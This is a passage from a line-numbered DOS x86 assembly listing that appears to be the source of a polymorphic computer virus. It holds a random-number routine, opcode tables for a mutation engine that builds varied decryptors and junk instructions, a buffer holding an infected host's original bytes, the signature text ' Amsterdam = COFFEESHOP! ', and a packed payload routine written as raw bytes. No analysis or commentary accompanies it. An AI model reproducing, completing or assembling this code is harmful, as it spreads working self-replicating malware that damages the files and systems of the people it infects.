  3013.                 mov     cx,7
  3014.  
  3015. rnd_lup:        shl     ax,1
  3016.  
  3017.                 rcl     dx,1
  3018.  
  3019.                 mov     bl,al
  3020.  
  3021.                 xor     bl,dh
  3022.  
  3023.                 jns     rnd_l2
  3024.  
  3025.                 inc     al
  3026.  
  3027. rnd_l2:         loop    rnd_lup
  3028.  
  3029.                 pop     bx
  3030.  
  3031.  
  3032.  
  3033. move_rnd:       mov     word ptr ds:[rnd_get+4],ax
  3034.  
  3035.                 mov     word ptr ds:[rnd_get+7],dx
  3036.  
  3037.                 mov     al,dl
  3038.  
  3039.                 pop     cx
  3040.  
  3041.                 pop     dx
  3042.  
  3043.                 ret
  3044.  
  3045.  
  3046.  
  3047.  
  3048.  
  3049. ;****************************************************************************
  3050.  
  3051. ;*              tables for engine
  3052.  
  3053. ;****************************************************************************
  3054.  
  3055.  
  3056.  
  3057.                 ;       AX   AL   AH      (BX) BL   BH      CX   CL   CH
  3058.  
  3059. mov_byte        db      0B8, 0B0, 0B4, 0, 0B8, 0B3, 0B7, 0, 0B9, 0B1, 0B5
  3060.  
  3061.  
  3062.  
  3063.                 ;       nop clc  stc  cmc  cli  cld incbp decbp
  3064.  
  3065. nop_data8       db      90, 0F8, 0F9, 0F5, 0FA, 0FC, 45,  4Dh
  3066.  
  3067.  
  3068.  
  3069.                 ;      or and xchg mov
  3070.  
  3071. nop_data16      db      8, 20, 84, 88
  3072.  
  3073.  
  3074.  
  3075.                 ;     bl/bh, bx, si  di
  3076.  
  3077. dir_change      db      07, 07, 04, 05
  3078.  
  3079. ind_change      db      03, 03, 06, 07
  3080.  
  3081.  
  3082.  
  3083.  
  3084.  
  3085.                 ;       xor xor add sub
  3086.  
  3087. how_mode        db      30, 30, 00, 28
  3088.  
  3089.  
  3090.  
  3091.                 ;       ?  add  xor  or
  3092.  
  3093. add_mode        db      0, 0C8, 0F0, 0C0
  3094.  
  3095.  
  3096.  
  3097.  
  3098.  
  3099. ;****************************************************************************
  3100.  
  3101. ;*              text + buffer
  3102.  
  3103. ;****************************************************************************
  3104.  
  3105.  
  3106.  
  3107.                 db      ' Amsterdam = COFFEESHOP! '
  3108.  
  3109.  
  3110.  
  3111. buffer          db      0CDh, 20                ;original code of dummy program
  3112.  
  3113.                 db      (BUFLEN-2) dup (?)
  3114.  
  3115.  
  3116.  
  3117.  
  3118.  
  3119. ;****************************************************************************
  3120.  
  3121. ;*              the (packed) picture routine
  3122.  
  3123. ;****************************************************************************
  3124.  
  3125.                                                 
  3126.  
  3127. beeld           db      0BFh, 0A1h, 015h, 090h, 090h, 090h, 090h, 090h
  3128.  
  3129.                 db      090h, 090h, 090h, 0BEh, 0F9h, 003h, 0B9h, 06Bh
  3130.  
  3131.                 db      001h, 0FDh, 0F3h, 0A5h, 0FCh, 08Bh, 0F7h, 0BFh
  3132.  
  3133.                 db      000h, 001h, 0ADh, 0ADh, 08Bh, 0E8h, 0B2h, 010h
  3134.  
  3135.                 db      0E9h, 036h, 014h, 04Fh, 08Fh, 07Fh, 0FCh, 0B4h
  3136.  
  3137.                 db      00Fh, 0CDh, 010h, 0B4h, 000h, 050h, 0FBh, 0B7h
  3138.  
  3139.                 db      0B0h, 03Ch, 007h, 074h, 0FFh, 0FFh, 00Ah, 03Ch
  3140.  
  3141.                 db      004h, 073h, 028h, 0B7h, 0B8h, 03Ch, 002h, 072h
  3142.  
  3143.                 db      022h, 08Eh, 0C3h, 0BEh, 040h, 001h, 0FFh, 0FFh
  3144.  
  3145.                 db      0B0h, 019h, 057h, 0B1h, 050h, 0F3h, 0A5h, 05Fh
  3146.  
  3147.                 db      081h, 0C7h, 0A0h, 000h, 0FEh, 0C8h, 075h, 0F2h
  3148.  
  3149.                 db      003h, 08Fh, 0B8h, 007h, 00Eh, 0D6h, 0FBh, 00Ch
  3150.  
  3151.                 db      0CDh, 021h, 058h, 0F8h, 063h, 0A7h, 0CBh, 020h
  3152.  
  3153.                 db      002h, 0FEh, 020h, 000h, 0FAh, 0EBh, 0B0h, 0FCh
  3154.  
  3155.                 db      0F8h, 003h, 077h, 0F0h, 0E0h, 0D0h, 041h, 00Fh
  3156.  
  3157.                 db      0C0h, 02Fh, 007h, 01Dh, 080h, 06Fh, 0BAh, 0DCh
  3158.  
  3159.                 db      0E1h, 034h, 0DBh, 00Ch, 0F8h, 0F0h, 00Eh, 0DFh
  3160.  
  3161.                 db      0FEh, 0F4h, 0F8h, 0BBh, 0AEh, 0F8h, 0E4h, 003h
  3162.  
  3163.                 db      084h, 0E0h, 0FCh, 0EBh, 0B0h, 0E6h, 0EAh, 0A3h
  3164.  
  3165.                 db      083h, 0DAh, 0AAh, 00Eh, 0DCh, 009h, 0BAh, 0C8h
  3166.  
  3167.                 db      001h, 03Ah, 0F0h, 050h, 007h, 0A2h, 0E8h, 0E0h
  3168.  
  3169.                 db      0ACh, 005h, 0DBh, 00Eh, 077h, 00Fh, 0F8h, 0DCh
  3170.  
  3171.                 db      0F6h, 0BAh, 0AEh, 0F0h, 0F6h, 0EBh, 03Ah, 0F0h
  3172.  
  3173.                 db      0F4h, 0E0h, 040h, 017h, 0FAh, 0ECh, 01Dh, 072h
  3174.  
  3175.                 db      0DFh, 0DAh, 0D2h, 074h, 0F8h, 0BAh, 0DDh, 020h
  3176.  
  3177.                 db      01Dh, 074h, 0DEh, 020h, 0AAh, 007h, 0BAh, 0D8h
  3178.  
  3179.                 db      061h, 0F8h, 047h, 087h, 0F8h, 0E8h, 0E1h, 0E8h
  3180.  
  3181.                 db      0F8h, 092h, 0F4h, 000h, 01Dh, 060h, 0D8h, 0E8h
  3182.  
  3183.                 db      009h, 0DCh, 0FEh, 009h, 0F8h, 0B0h, 023h, 0F8h
  3184.  
  3185.                 db      05Ch, 0D7h, 0FCh, 0F8h, 0FCh, 0E8h, 001h, 03Bh
  3186.  
  3187.                 db      0F4h, 0ECh, 080h, 0D2h, 01Dh, 0BEh, 0BAh, 05Ch
  3188.  
  3189.                 db      020h, 07Ch, 003h, 075h, 060h, 0CAh, 020h, 00Eh
  3190.  
  3191.                 db      0B2h, 0D8h, 081h, 0F0h, 03Bh, 040h, 092h, 0D7h
  3192.  
  3193.                 db      0B5h, 0CEh, 0F8h, 0DCh, 060h, 0A7h, 041h, 0DEh
  3194.  
  3195.                 db      060h, 002h, 0B5h, 0BEh, 03Ch, 020h, 00Fh, 07Bh
  3196.  
  3197.                 db      022h, 065h, 007h, 01Dh, 060h, 06Eh, 084h, 0CCh
  3198.  
  3199.                 db      0DFh, 00Dh, 020h, 0C0h, 0B3h, 020h, 02Fh, 060h
  3200.  
  3201.                 db      041h, 01Eh, 06Ah, 0DEh, 07Eh, 00Ah, 042h, 0E0h
  3202.  
  3203.                 db      009h, 0E4h, 0C0h, 075h, 030h, 060h, 00Bh, 0DFh
  3204.  
  3205.                 db      01Ch, 0F4h, 0E4h, 042h, 04Fh, 05Eh, 05Eh, 041h
  3206.  
  3207.                 db      09Ah, 022h, 006h, 02Bh, 01Ch, 080h, 060h, 03Eh
  3208.  
  3209.                 db      084h, 057h, 005h, 0CAh, 046h, 0A4h, 0D0h, 07Bh
  3210.  
  3211.                 db      053h, 07Ah, 097h, 005h, 015h, 0C2h, 004h, 020h
  3212.  
  3213.                 db      01Dh, 054h, 060h, 001h, 0C8h, 051h, 041h, 0E8h
  3214.  
  3215.                 db      0DCh, 006h, 054h, 0BEh, 077h, 0D8h, 02Dh, 078h
  3216.  
  3217.                 db      07Ah, 050h, 055h, 001h, 004h, 020h, 05Dh, 007h
  3218.  
  3219.                 db      076h, 02Eh, 0AEh, 03Ah, 0C6h, 062h, 0E8h, 0A0h
  3220.  
  3221.                 db      055h, 05Eh, 009h, 0A2h, 002h, 0C0h, 020h, 057h
  3222.  
  3223.                 db      084h, 0C6h, 0D0h, 004h, 01Dh, 02Ah, 05Dh, 05Eh
  3224.  
  3225.                 db      0D6h, 016h, 017h, 080h, 098h, 0A4h, 040h, 003h
  3226.  
  3227.                 db      050h, 0EAh, 0ACh, 05Dh, 005h, 062h, 0C4h, 01Dh
  3228.  
  3229.                 db      070h, 059h, 05Eh, 0C4h, 067h, 005h, 082h, 0DCh
  3230.  
  3231.                 db      020h, 002h, 005h, 060h, 020h, 0E4h, 090h, 062h
  3232.  
  3233.                 db      019h, 0D4h, 094h, 065h, 0ECh, 00Eh, 069h, 05Eh
  3234.  
  3235.                 db      0CFh, 007h, 0A0h, 070h, 020h, 0B0h, 0A2h, 0B2h
  3236.  
  3237.                 db      083h, 00Ah, 062h, 069h, 0CCh, 03Bh, 060h, 05Eh
  3238.  
  3239.                 db      0D5h, 002h, 0BEh, 080h, 070h, 090h, 062h, 004h
  3240.  
  3241.                 db      072h, 083h, 055h, 0FEh, 06Eh, 010h, 041h, 040h
  3242.  
  3243.                 db      041h, 0AEh, 0FEh, 0CEh, 075h, 034h, 09Eh, 0FEh
  3244.  
  3245.                 db      002h, 071h, 05Ch, 0BAh, 0AAh, 0E6h, 0CCh, 018h
  3246.  
  3247.                 db      072h, 0C0h, 062h, 040h, 00Eh, 06Ch, 07Bh, 047h
  3248.  
  3249.                 db      0F2h, 0BCh, 005h, 015h, 028h, 050h, 026h, 0E1h
  3250.  
  3251.                 db      070h, 0FEh, 052h, 05Fh, 068h, 009h, 0FEh, 0BEh
  3252.  
  3253.                 db      040h, 010h, 02Ah, 0F2h, 0AEh, 0E0h, 03Ah, 070h
  3254.  
  3255.                 db      0FEh, 0FCh, 06Ah, 04Ah, 050h, 0DEh, 061h, 0ACh
  3256.  
  3257.                 db      061h, 0C7h, 050h, 00Eh, 001h, 03Eh, 072h, 060h
  3258.  
  3259.                 db      048h, 08Eh, 00Ah, 06Ah, 096h, 03Ah, 0E8h, 002h
  3260.  
  3261.                 db      066h, 058h, 084h, 0B0h, 045h, 0B4h, 007h, 020h
  3262.  
  3263.                 db      05Ah, 0EAh, 0E9h, 0C0h, 044h, 02Dh, 060h, 0E8h
  3264.  
  3265.                 db      093h, 0A0h, 09Eh, 073h, 048h, 050h, 0C6h, 0FFh
  3266.  
  3267.                 db      0F0h, 041h, 0D3h, 0FFh, 060h, 040h, 001h, 0FFh
  3268.  
  3269.                 db      0D1h, 0EDh, 0FEh, 0CAh, 075h, 005h, 0ADh, 08Bh
  3270.  
  3271.                 db      0E8h, 0B2h, 010h, 0C3h, 0E8h, 0F1h, 0FFh, 0D0h
  3272.  
  3273.                 db      0D7h, 0E8h, 0ECh, 0FFh, 072h, 014h, 0B6h, 002h
  3274.  
  3275.                 db      0B1h, 003h, 0E8h, 0E3h, 0FFh, 072h, 009h, 0E8h
  3276.  
  3277.                 db      0DEh, 0FFh, 0D0h, 0D7h, 0D0h, 0E6h, 0E2h, 0F2h
  3278.  
  3279.                 db      02Ah, 0FEh, 0B6h, 002h, 0B1h, 004h, 0FEh, 0C6h
  3280.  
  3281.                 db      0E8h, 0CDh, 0FFh, 072h, 010h, 0E2h, 0F7h, 0E8h
  3282.  
  3283.                 db      0C6h, 0FFh, 073h, 00Dh, 0FEh, 0C6h, 0E8h, 0BFh
  3284.  
  3285.                 db      0FFh, 073h, 002h, 0FEh, 0C6h, 08Ah, 0CEh, 0EBh
  3286.  
  3287.                 db      02Ah, 0E8h, 0B4h, 0FFh, 072h, 010h, 0B1h, 003h
  3288.  
  3289.                 db      0B6h, 000h, 0E8h, 0ABh, 0FFh, 0D0h, 0D6h, 0E2h
  3290.  
  3291.                 db      0F9h, 080h, 0C6h, 009h, 0EBh, 0E7h, 0ACh, 08Ah
  3292.  
  3293.                 db      0C8h, 083h, 0C1h, 011h, 0EBh, 00Dh, 0B1h, 003h
  3294.  
  3295.                 db      0E8h, 095h, 0FFh, 0D0h, 0D7h, 0E2h, 0F9h, 0FEh
  3296.  
  3297.                 db      0CFh, 0B1h, 002h, 026h, 08Ah, 001h, 0AAh, 0E2h
  3298.  
  3299.                 db      0FAh, 0E8h, 084h, 0FFh, 073h, 003h, 0A4h, 0EBh
  3300.  
  3301.                 db      0F8h, 0E8h, 07Ch, 0FFh, 0ACh, 0B7h, 0FFh, 08Ah
  3302.  
  3303.                 db      0D8h, 072h, 081h, 0E8h, 072h, 0FFh, 072h, 0D6h
  3304.  
  3305.                 db      03Ah, 0FBh, 075h, 0DDh, 033h, 0EDh, 033h, 0FFh
  3306.  
  3307.                 db      033h, 0F6h, 033h, 0D2h, 033h, 0DBh, 033h, 0C0h
  3308.  
  3309.                 db      0E9h, 07Dh, 0EBh
  3310.  
  3311.                 
  3312.  
  3313. last:
  3314.  
  3315.  
  3316.  
  3317. _TEXT           ends
  3318.  
  3319.                 end    first
  3320.  
  3321. 
  3322.  
  3323.